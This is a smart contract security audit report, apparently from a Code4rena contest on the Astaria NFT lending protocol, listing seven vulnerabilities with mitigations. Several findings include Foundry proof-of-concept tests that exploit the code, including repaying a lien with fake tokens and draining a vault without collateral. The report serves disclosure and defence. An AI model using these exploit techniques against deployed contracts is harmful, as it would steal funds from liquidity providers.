Astaria contest - Jeiwan's results

Lines of code

https://github.com/code-423n4/2023-01-astaria/blob/1bfc58b42109b839528ab1c21dc9803d663df898/src/ClearingHouse.sol#L169-L178

Vulnerability details

Impact

The protocol is left in a corrupted state, with:

1. the auctioned NFT being locked in its clearing house;
2. the wrapping collateral NFT being burnt;
3. the lien being fully repaid with fake ERC20 tokens;
4. liquidity providers being left with a loss;

Proof of Concept

To liquidate NFTs the protocol integrates with Seaport:

1. a Seaport order is created to sell borrower's NFT;
2. the order specifies two considerations: 1) the ERC20 token that must be paid to buy the NFT (e.g. WETH; it matches the asset of a vault); 2) the clearing house of the auctioned NFT, which partially implements the safeTransferFrom function from the ERC1155 standard.
3. the clearing house consideration serves as as a hook that, when called by Seaport after receiving the ERC20 tokens, repays the debt and finalizes the state of the auction in the protocol.

The safeTransferFrom function of ClearingHouse is expected to be called only by Seaport (specifically, the allowed conduit). However, it doesn't implement access control, allowing anyone to call it with fake input values and corrupt the state of the protocol

Exploit Scenario

1. Bob's NFT was liquidated and is being auctioned on Seaport.
2. Alice calls the safeTransferFrom function of ClearingHouse to repay Bob's debt with fake ERC20 tokens and corrupt the state of the protocol.
3. As a result: 1. Bob's NFT is locked in its clearing house; 1. the wrapping collateral NFT was burnt; 1. the lien was fully repaid with fake ERC20 tokens; 1. liquidity providers, from which Bob borrowed, were left with a loss.

The following PoC demonstrates this scenario

// src/test/AstariaTest.t.sol
...
import {MockERC20} from "solmate/test/utils/mocks/MockERC20.sol";
...

contract AstariaTest is TestHelpers {
    ...
    function testFakeAuctionPayment_AUDIT() public {
        address borrower = address(69);
        address liquidator = address(7);

        // Create and liquidate a loan.
        (address publicVault, ILienToken.Stack[] memory stack) = setupLiquidation(
            borrower
        );

        vm.startPrank(liquidator);
        OrderParameters memory listedOrder = ASTARIA_ROUTER.liquidate(
            stack,
            uint8(0)
        );
        vm.stopPrank();

        uint256 collId = stack[0].lien.collateralId;
        ClearingHouse chouse = COLLATERAL_TOKEN.getClearingHouse(collId);

        // The owner of the NFT is the clearing house, as expected.
        (address nftContract, uint256 nftId) = COLLATERAL_TOKEN.getUnderlying(collId);
        assertEq(ERC721(nftContract).ownerOf(nftId), address(chouse));

        // Calling `safeTransferFrom` on the clearing house directly and paying with
        // a fake token.
        MockERC20 fakeERC20 = new MockERC20("FAKE", "FAKE", 18);

        uint256 amount = standardLienDetails.liquidationInitialAsk;
        fakeERC20.mint(address(this), amount);
        fakeERC20.transfer(address(chouse), amount);

        chouse.safeTransferFrom(address(0), address(0), uint256(uint160(address(fakeERC20))), amount, "");

        // The owner of the NFT is still the clearing house.
        assertEq(ERC721(nftContract).ownerOf(nftId), address(chouse));

        // However, the collateral NFT was burnt...
        vm.expectRevert("NOT_MINTED");
        COLLATERAL_TOKEN.ownerOf(collId);

        // ...the lien was fully repaid and burnt...
        vm.expectRevert("NOT_MINTED");
        LIEN_TOKEN.ownerOf(stack[0].point.lienId);

        // ...the collateral was freed.
        assertEq(LIEN_TOKEN.getCollateralState(collId), "");
    }
    ...
}

Tools Used

Manual review

Recommended Mitigation Steps

Consider adding authentication checks to the safeTransferFrom function of ClearingHouse and letting only Seaport call it. As an extra safety check, consider ensuring that the payment was made using the correct ERC20 token.

Lines of code

https://github.com/code-423n4/2023-01-astaria/blob/1bfc58b42109b839528ab1c21dc9803d663df898/src/Vault.sol#L72

Vulnerability details

Impact

Deposited funds are locked indefinitely in private vaults.

Proof of Concept

The withdraw function of Vault calls safeTransferFrom with the from address set to address(this) to withdraw funds for the caller (Vault.sol#L72), which requires that the contract has approved token spending to itself. This can be seen from, for example, the OpenZeppelin ERC20 implementation:

function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
    address spender = _msgSender();
    _spendAllowance(from, spender, amount);
    _transfer(from, to, amount);
    return true;
}

function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
    uint256 currentAllowance = allowance(owner, spender);
    if (currentAllowance != type(uint256).max) {
        require(currentAllowance >= amount, "ERC20: insufficient allowance");
        unchecked {
            _approve(owner, spender, currentAllowance - amount);
        }
    }
}

However, the contract never does an approve to self. As a result, the call to transferFrom will always fail due to insufficient allowance.

Exploit Scenario

1. Bob creates a private vault and deposits funds into it.
2. Bob tries to withdraw funds from the vault by calling withdraw but the call reverts.
3. Bob doesn't heavy any other options to withdraw his funds from the vault.

Tools Used

Manual review

Recommended Mitigation Steps

Consider using safeTransfer(msg.sender, amount) instead of safeTransferFrom(address(this), msg.sender, amount).

Lines of code

https://github.com/code-423n4/2023-01-astaria/blob/1bfc58b42109b839528ab1c21dc9803d663df898/src/ClearingHouse.sol#L220-L231

Vulnerability details

Impact

The owner of a collateral NFT that was liquidated and then claimed by the liquidator (after the auction had no bids) may drain the vault the loan was taken from.

Proof of Concept

There's an extreme situation when a liquidated and auctioned collateral NFT had no bids and the auction has expired. In this situation, the liquidator may claim the NFT by calling CollateralToken.liquidatorNFTClaim. The function:

1. calls ClearingHouse.settleLiquidatorNFTClaim to burn the lien token associated with the loan and clean up the accounting without repaying the actual loan (the loan cannot be repaid since there were no bids);
2. releases the collateral NFT to the liquidator.

However, the function doesn't settle the auction. As a result:

1. the CollateralToken is not burned (CollateralToken.sol#L538);
2. the link between the collateral ID and the underlying token is not removed (CollateralToken.sol#L537);
3. the link between the collateral ID and the auction is also not removed (CollateralToken.sol#L544).

This allows the owner of the liquidated collateral NFT to create a new lien and take the maximal loan without providing any collateral.

Exploit Scenario

1. Alice deposits an NFT token as a collateral and takes a loan.
2. Alice's loan expires and her NFT collateral gets liquidated by Bob.
3. The collateral NFT wasn't sold off auction as there were no bids.
4. Bob claims the collateral NFT and receives it.
5. Alice takes another loan from the vault without providing any collateral.

The following PoC demonstrates the above scenario:

// src/test/AstariaTest.t.sol
function testAuctionEndNoBidsMismanagement_AUDIT() public {
  address bob = address(2);
  TestNFT nft = new TestNFT(6);
  uint256 tokenId = uint256(5);
  address tokenContract = address(nft);

  // Creating a public vault and providing some liquidity.
  address publicVault = _createPublicVault({
    strategist: strategistOne,
    delegate: strategistTwo,
    epochLength: 14 days
  });

  _lendToVault(Lender({addr: bob, amountToLend: 150 ether}), publicVault);
  (, ILienToken.Stack[] memory stack) = _commitToLien({
    vault: publicVault,
    strategist: strategistOne,
    strategistPK: strategistOnePK,
    tokenContract: tokenContract,
    tokenId: tokenId,
    lienDetails: blueChipDetails,
    amount: 100 ether,
    isFirstLien: true
  });

  uint256 collateralId = tokenContract.computeId(tokenId);
  vm.warp(block.timestamp + 11 days);

  // Liquidator liquidates the loan after expiration.
  address liquidator = address(0x123);
  vm.prank(liquidator);
  OrderParameters memory listedOrder = ASTARIA_ROUTER.liquidate(
    stack,
    uint8(0)
  );

  // Skipping the auction duration and making no bids.
  skip(4 days);

  // Liquidator claims the liquidated NFT.
  vm.prank(liquidator);
  COLLATERAL_TOKEN.liquidatorNFTClaim(listedOrder);
  PublicVault(publicVault).processEpoch();

  // Liquidator is the rightful owner of the collateral NFT.
  assertEq(nft.ownerOf(tokenId), address(liquidator));

  // Since the auction wasn't fully settled, the CollateralToken still exists for the collateral NFT.
  // The borrower is the owner of the CollateralToken.
  assertEq(COLLATERAL_TOKEN.ownerOf(collateralId), address(this));

  // WETH balances at this moment:
  // 1. the borrower keep holding the 100 ETH it borrowed earlier;
  // 2. the vault keeps holding 50 ETH of liquidity.
  assertEq(WETH9.balanceOf(address(this)), 100 ether);
  assertEq(WETH9.balanceOf(address(publicVault)), 50 ether);

  // The borrower creates another lien. This time, the borrower is not the owner of the collateral NFT.
  // However, it's still the owner of the CollateralToken.
  (, stack) = _commitToLien({
    vault: publicVault,
    strategist: strategistOne,
    strategistPK: strategistOnePK,
    tokenContract: tokenContract,
    tokenId: tokenId,
    lienDetails: blueChipDetails,
    amount: 50 ether,
    isFirstLien: true
  });

  // The borrower has taken a loan of 50 ETH from the vault.
  assertEq(WETH9.balanceOf(address(this)), 150 ether);
  // The vault was drained.
  assertEq(WETH9.balanceOf(address(publicVault)), 0 ether);
}

Tools Used

Manual review

Recommended Mitigation Steps

Consider settling the auction at the end of settleLiquidatorNFTClaim:

diff --git a/src/ClearingHouse.sol b/src/ClearingHouse.sol
index 5c2a400..d4ee28d 100644
--- a/src/ClearingHouse.sol
+++ b/src/ClearingHouse.sol
@@ -228,5 +228,7 @@ contract ClearingHouse is AmountDeriver, Clone, IERC1155, IERC721Receiver {
       0,
       s.auctionStack.stack
     );
+    uint256 collateralId = _getArgUint256(21);
+    ASTARIA_ROUTER.COLLATERAL_TOKEN().settleAuction(collateralId);
   }
 }

Lines of code

https://github.com/code-423n4/2023-01-astaria/blob/1bfc58b42109b839528ab1c21dc9803d663df898/src/LienToken.sol#L189 https://github.com/code-423n4/2023-01-astaria/blob/1bfc58b42109b839528ab1c21dc9803d663df898/src/PublicVault.sol#L627-L628

Vulnerability details

Impact

After a buyout, the slope of a vault won't be increased. As a result, liquidity providers will lose reward for providing liquidity to borrowers and the borrower will not pay interest for the lien that was bought out.

Proof of Concept

Buyout is an important refinancing mechanism that allows borrowers to apply new terms (e.g. changed loan rate and/our duration) to their loans. The implementation of the mechanism allows borrower to repay the owed amount for a lien, burn the lien, and create a new lien. When burning and creating liens it's important to update the slope of a vault: is the total interest accrued by vaults. However, during a buyout the slope of the vault where a new lien is created is not increased:

1. after a new lien is created, the slope of the vault is not increased (LienToken.sol#L127);
2. however, the slope of the vault is decreased after the old lien is burned (LienToken.sol#L189, PublicVault.sol#L627-L628)

Since, during a buyout, a lien with a different interest rate may be created (due to changed loan terms), the slope of the vault must be updated correctly:

1. the slope of the previous lien must be reduced from the total slope of the vault;
2. the slope of the new lien must be added to the total slope of the vault.

If the slope of the new lien is not added to the total slope of the vault, then the lien doesn't generate interest, which means the borrower doesn't need to pay interest for taking the loan and liquidity providers won't be rewarded for providing funds to the borrower.

The following PoC demonstrates that the slope of a vault is 0 after the only existing lien was bought out:

// src/test/AstariaTest.t.sol
function testBuyoutLienWrongSlope_AUDIT() public {
  TestNFT nft = new TestNFT(1);
  address tokenContract = address(nft);
  uint256 tokenId = uint256(0);

  uint256 initialBalance = WETH9.balanceOf(address(this));

  // create a PublicVault with a 14-day epoch
  address publicVault = _createPublicVault({
    strategist: strategistOne,
    delegate: strategistTwo,
    epochLength: 14 days
  });
  vm.label(publicVault, "PublicVault");

  // lend 50 ether to the PublicVault as address(1)
  _lendToVault(
    Lender({addr: address(1), amountToLend: 50 ether}),
    publicVault
  );

  // borrow 10 eth against the dummy NFT
  (uint256[] memory liens, ILienToken.Stack[] memory stack) = _commitToLien({
    vault: publicVault,
    strategist: strategistOne,
    strategistPK: strategistOnePK,
    tokenContract: tokenContract,
    tokenId: tokenId,
    lienDetails: standardLienDetails,
    amount: 10 ether,
    isFirstLien: true
  });

  // Right after the lien was created the slope of the vault equals to the slope of the lien.
  assertEq(PublicVault(publicVault).getSlope(), LIEN_TOKEN.calculateSlope(stack[0]));

  vm.warp(block.timestamp + 3 days);

  IAstariaRouter.Commitment memory refinanceTerms = _generateValidTerms({
    vault: publicVault,
    strategist: strategistOne,
    strategistPK: strategistOnePK,
    tokenContract: tokenContract,
    tokenId: tokenId,
    lienDetails: refinanceLienDetails,
    amount: 10 ether,
    stack: stack
  });

  (stack, ) = VaultImplementation(publicVault).buyoutLien(
    stack,
    uint8(0),
    refinanceTerms
  );

  // After a buyout the slope of the vault is 0, however it must be equal to the slope of the lien.
  // Error: a == b not satisfied [uint]
  //  Expected: 481511019363
  //  Actual: 0
  assertEq(PublicVault(publicVault).getSlope(), LIEN_TOKEN.calculateSlope(stack[0]));

  // A lien exists after the buyout, so the slope of the vault cannot be 0.
  uint256 collId = stack[0].lien.collateralId;
  assertEq(LIEN_TOKEN.getCollateralState(collId), bytes32(hex"7c2c35af3fb5f00ff3995cdddd95dcbbad96eea7bca39b305f2d0f8a55d838f8"));
}

Tools Used

Manual review

Recommended Mitigation Steps

Consider increasing the slope of a public vault after a buyout, similarly to how it's done after a new commitment.

Lines of code

https://github.com/code-423n4/2023-01-astaria/blob/1bfc58b42109b839528ab1c21dc9803d663df898/src/LienToken.sol#L189 https://github.com/code-423n4/2023-01-astaria/blob/1bfc58b42109b839528ab1c21dc9803d663df898/src/PublicVault.sol#L633

Vulnerability details

Impact

After a buyout, the lien counter of the epoch of the new lien won't be increased. As a result, the epoch may be processed when there's at least one unpaid lien, leaving the vault with a bad debt that cannot be repaid because, after an epoch was processed, it belongs to an older epoch.

Proof of Concept

Buyout is an important refinancing mechanism that allows borrowers to apply new terms (e.g. changed loan rate and/our duration) to their loans. The implementation of the mechanism allows borrower to repay the owed amount for a lien, burn the lien, and create a new lien. When burning and creating liens it's important to update lien counters for epochs: an epoch cannot be processed if the count of liens in the epoch is greater than 0. However, during a buyout the lien count is not increased for the new lien:

1. after a new lien is created, the counter is not increased in the vault (LienToken.sol#L127);
2. however, a respective counter is decreased after the old lien is burned (LienToken.sol#L189, PublicVault.sol#L633)

Since the net number of liens before a buyout is 0 (one is created and one is burnt), the counters must be updated correctly: the counter for the epoch of the burned lien must be decreased by 1 and the counter of the epoch of the created lien must be increased by 1.

To demonstrate the bug we need to add a getter to PublicVault because epoch data is not public in the current implementation:

function getEpochData(uint256 epoch) public returns (IPublicVault.EpochData memory epochData) {
    VaultData storage s = _loadStorageSlot();
    epochData = s.epochData[uint64(epoch)];
}

After than, we can clearly see that the counter of the epoch of the new lien is not increased after a buyout:

// src/test/AstariaTest.t.sol
function testBuyoutLien_AUDIT() public {
  TestNFT nft = new TestNFT(1);
  address tokenContract = address(nft);
  uint256 tokenId = uint256(0);

  uint256 initialBalance = WETH9.balanceOf(address(this));

  // create a PublicVault with a 14-day epoch
  address publicVault = _createPublicVault({
    strategist: strategistOne,
    delegate: strategistTwo,
    epochLength: 14 days
  });
  vm.label(publicVault, "PublicVault");

  // lend 50 ether to the PublicVault as address(1)
  _lendToVault(
    Lender({addr: address(1), amountToLend: 50 ether}),
    publicVault
  );

  // borrow 10 eth against the dummy NFT
  (uint256[] memory liens, ILienToken.Stack[] memory stack) = _commitToLien({
    vault: publicVault,
    strategist: strategistOne,
    strategistPK: strategistOnePK,
    tokenContract: tokenContract,
    tokenId: tokenId,
    lienDetails: standardLienDetails,
    amount: 10 ether,
    isFirstLien: true
  });

  uint256 epoch = IPublicVault(publicVault).getLienEpoch(stack[0].point.end);
  IPublicVault.EpochData memory epochData = PublicVault(publicVault).getEpochData(epoch);

  // Before a buyout, the number of open liens in epoch 0 is 1, as expected.
  assertEq(epoch, 0);
  assertEq(epochData.liensOpenForEpoch, 1);

  vm.warp(block.timestamp + 3 days);

  IAstariaRouter.Commitment memory refinanceTerms = _generateValidTerms({
    vault: publicVault,
    strategist: strategistOne,
    strategistPK: strategistOnePK,
    tokenContract: tokenContract,
    tokenId: tokenId,
    lienDetails: refinanceLienDetails,
    amount: 10 ether,
    stack: stack
  });

  (stack, ) = VaultImplementation(publicVault).buyoutLien(
    stack,
    uint8(0),
    refinanceTerms
  );

  // After a buyout, the number of open liens in epoch 0 is 0, as expected.
  epochData = PublicVault(publicVault).getEpochData(epoch);
  assertEq(epochData.liensOpenForEpoch, 0);

  epoch = IPublicVault(publicVault).getLienEpoch(stack[0].point.end);
  epochData = PublicVault(publicVault).getEpochData(epoch);

  // However, in epoch 1, where the new lien will end, the number of open liens is also 0.
  assertEq(epoch, 1);
  // This will fail, but it shouldn't.
  assertEq(epochData.liensOpenForEpoch, 1);
}

Tools Used

Manual review

Recommended Mitigation Steps

Consider increasing the liens counter after a buyout, similarly to how it's done after a new commitment.

Lines of code

https://github.com/code-423n4/2023-01-astaria/blob/1bfc58b42109b839528ab1c21dc9803d663df898/src/WithdrawProxy.sol#L273

Vulnerability details

Impact

Liquidation auction proceedings may be locked in WithdrawProxy indefinitely if the asset of the vault has less than 18 decimals.

Proof of Concept

The claim function of WithdrawProxy is used to distribute auction proceedings after collateral liquidation. If an auction ends in another epoch, a Withdraw proxy is deployed and is set as the payee. WithdrawProxy is also used by liquidity providers to receive liquidity they have removed from a vault: WithdrawProxy serves as an intermediary contract when liquidity provider redeem their shares.

To separate accounting of liquidation proceedings and withdrawn liquidity, WithdrawProxy uses the withdrawRatio variable, which is set when processing the current epoch: withdraw ratio tells how much tokens to leave in WithdrawProxy during claiming, for liquidity providers to redeem them from the contract (WithdrawProxy.sol#L271-L282):

transferAmount = uint256(s.withdrawRatio).mulDivDown(
  balance,
  10**ERC20(asset()).decimals()
);

unchecked {
  balance -= transferAmount;
}

if (balance > 0) {
  ERC20(asset()).safeTransfer(VAULT(), balance);
}

In the above snippet, in the transferAmount calculation, the current contract's balance is multiplied by the withdraw ratio. However, the denominator in the mulDivDown is wrong: it should always be 10e18 because withdraw ratio always has 18 decimals since it's calculated as a ratio of total supplies of shares of a vault and a WithdrawProxy (PublicVault.sol#L312-L319):

uint256 proxySupply = currentWithdrawProxy.totalSupply();

s.liquidationWithdrawRatio = proxySupply
  .mulDivDown(1e18, totalSupply())
  .safeCastTo88();

currentWithdrawProxy.setWithdrawRatio(s.liquidationWithdrawRatio);

As a result, in a vault that uses an asset with less than 18 decimals (e.g. USDC), claiming assets from WithdrawProxy wil positive withdrawRatio will always fail because the transferAmount in the claim function will always be bigger than the current balance of the contract, and the balance variable will always underflow.

Exploit Scenario

1. A WithdrawProxy contains proceedings from liquidated collaterals and funds withdrawn by liquidity providers. The WithdrawProxy contract was deployed from a vault that uses USDC (6 decimals) as its asset.
2. The WithdrawProxy contract is holding 1,000,000 USDC, with 40% if the amount being funds withdrawn by liquidity providers.
3. The strategist of the vault calls the claim function on the WithdrawProxy contract to return liquidation proceedings to the vault. However, the call reverts: transferAmount is calculated as (0.4e18 * 1_000_000e6) / 1e6 = 4e23 = 400000000000000000 USDC, which is more than the total circulating supply of USDC.

Tools Used

Manual review

Recommended Mitigation Steps

Consider this change:

diff --git a/src/WithdrawProxy.sol b/src/WithdrawProxy.sol
index 9906ec7..c4d0107 100644
--- a/src/WithdrawProxy.sol
+++ b/src/WithdrawProxy.sol
@@ -270,7 +270,7 @@ contract WithdrawProxy is ERC4626Cloned, WithdrawVaultBase {
     } else {
       transferAmount = uint256(s.withdrawRatio).mulDivDown(
         balance,
-        10**ERC20(asset()).decimals()
+        1e18
       );

       unchecked {

Lines of code

https://github.com/AstariaXYZ/astaria-gpl/blob/4b49fe993d9b807fe68b3421ee7f2fe91267c9ef/src/ERC4626RouterBase.sol#L21

Vulnerability details

Impact

User may not be able to deposit funds to a vault if the number of shares to be minted is smaller than the amount of assets to be deposited.

Proof of Concept

AstariaRouter inherits from ERC4626Router and ERC4626RouterBase, which implements functions that allow users to interact with vaults via AstariaRouter. The mint function allows users to mint a user-specified number of shares by depositing an amount of assets that's calculated by the vault, depending on total shares and the amount of shares to be minted.

The amount of tokens the mint function of ERC4626RouterBase approves to the underlying vault is shares, however it should be the amount of assets to be deposited. In situations when the number of shares is smaller than the number of assets to be deposited, the function will revert.

Exploit Scenario

1. Liquidity providers deposited 100 ETH to a public vault. The vault also has 1 ETH of pending interests to be paid by borrowers. Thus, totalAssets of the vault is 101 ETH.
2. A user tries to mint 1e18 of shares via the mint function of ERC4626RouterBase. The previewMint function of the vault will convert 1e18 shares to 1.01e18 ETH.
3. Since ERC4626RouterBase approves 1e18 ETH to the vault and not 1.01e18 ETH, the call to mint will revert.

Tools Used

Manual review

Recommended Mitigation Steps

Consider this change:

diff --git a/src/ERC4626RouterBase.sol b/src/ERC4626RouterBase.sol
index a20651e..f2a6b7e 100644
--- a/src/ERC4626RouterBase.sol
+++ b/src/ERC4626RouterBase.sol
@@ -18,7 +18,8 @@ abstract contract ERC4626RouterBase is IERC4626RouterBase, Multicall {
     uint256 shares,
     uint256 maxAmountIn
   ) public payable virtual override returns (uint256 amountIn) {
-    ERC20(vault.asset()).safeApprove(address(vault), shares);
+    uint256 amount = vault.previewMint(shares);
+    ERC20(vault.asset()).safeApprove(address(vault), amount);
     if ((amountIn = vault.mint(shares, to)) > maxAmountIn) {
       revert MaxAmountError();
     }